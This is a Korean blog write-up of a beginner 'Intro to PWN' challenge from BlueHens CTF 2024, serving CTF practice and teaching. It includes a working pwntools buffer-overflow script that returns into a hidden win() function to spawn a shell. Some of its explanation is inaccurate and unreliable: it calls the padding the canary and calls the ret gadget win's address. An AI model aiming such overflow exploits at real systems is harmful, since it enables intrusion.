Hacking/CTF

[BLUEHENS CTF 2024] pwn-Training-Problem:Intro-to-PWN Write Up

min_zu 2024. 11. 12. 13:18
728x90
반응형

문제 : https://bluehens.ctfd.io/challenges#Training%20Problem:%20Intro%20to%20PWN-161

 

BlueHens CTF 2024

BlueHens CTF 2024 has ended ×

bluehens.ctfd.io

약간의 리버싱이 섞인 기초 포너블 문제

 

Mitigation 

  • ASLR 없음
  • NX bit 있음
  • 카나리 있음

 

Code Analysis

vuln함수에 무조건 취약점이 터진다.

이걸로 return address를 조작해서 익스가 가능할 것으로 보인다. 

 

 

My Exploit Scenario 

  1. 스택에 쉘코드 넣고 return address를 v1 주소로 바꾸어서 익스하기
    -> NX bit가 설정되어 있어서 스택에 실행 권한이 없으므로 불가능
  2. GOT overwrite : libc에서 system, 그리고 문자열 /bin/sh를 찾아서 ROP 하기 
    -> system함수의 구성을 보면 rdi에 /bin/sh가 들어가야하는데, pop rdi; ret 가젯이 존재하지 않았으므로 불가능
  3. 포맷 스트링 공격 : ROP 공격과 같은 이유로 불가능

현재 가젯이 충분하지 않았기 때문에 ROP 공격이 불가능했으므로 이 부분에서 아예 막혔다.

 

Reversing

현재 전체 함수 정보를 보면 실제로 system 함수가 존재한다. 

다른 방법으로 생각해볼 필요가 있다. 

main의 흐름을 타고 들어가서 볼 수 없는 함수가 하나 존재한다. 

 

Win() 함수 

해당 부분에서 system 함수를 사용하는 것

 

Exploit Scenario Answer

Return address 부분에 그대로 win함수의 시작 주소를 넣어주면 바로 system("/bin/sh")를 실행한다.

 

Exploit Code

from pwn import *
context.bits=64
e = ELF('./pwnme')

p=process(e.path)

offset=48
addr=e.sym['win']
ret=0x0040101a

payload=b'A'*offset
payload+=b'B'*8
payload+=p64(ret)
payload+=p64(addr)
print(payload)

p.sendline(payload)
p.interactive()

현재 버퍼의 크기 48만큼 모두 채워주고

카나리 8만큼 채워준다

그 이후, win 함수의 return address를 little endian 64로 만들어서 넣어준다. 

ret = 0x0040101a는 결국 win의 주소이다. ASLR 이 안걸려 있으므로 그냥 디버거로 구했다. 

 

피드백

  1. 모든 함수 확인하기
  2. system 함수가 존재하는 경우, 이를 사용하는 함수가 존재하는지 확인하기
728x90
반응형